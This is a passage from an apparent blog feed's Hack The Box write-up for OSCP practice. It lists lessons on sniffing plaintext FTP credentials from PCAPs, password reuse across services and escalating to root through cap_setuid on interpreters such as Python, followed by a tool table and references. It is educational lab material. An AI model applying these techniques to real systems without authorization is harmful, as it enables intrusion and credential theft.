Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Password reuse is the rule, not the exception.&lt;/strong&gt;&lt;br&gt;
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;getcap -r /&lt;/code&gt; belongs on your privesc checklist.&lt;/strong&gt;&lt;br&gt;
Run it right after &lt;code&gt;sudo -l&lt;/code&gt;. &lt;code&gt;cap_setuid&lt;/code&gt; on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port scan and service fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; / browser&lt;/td&gt;
&lt;td&gt;Web app enumeration, IDOR testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the vulnerable PCAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tcpdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse PCAP and extract plaintext FTP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access with recovered credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getcap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identify Linux capability misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exploit &lt;code&gt;cap_setuid&lt;/code&gt; for root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins — Python capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for-Insecure_Direct_Object_References" rel="noopener noreferrer"&gt;OWASP — IDOR Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" rel="noopener noreferrer"&gt;Linux Capabilities — man7.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc959" rel="noopener noreferrer"&gt;FTP Protocol — RFC 959&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Target: OSCP by early 2027. Current: building the reps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>oscp</category>
      <category>ctf</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
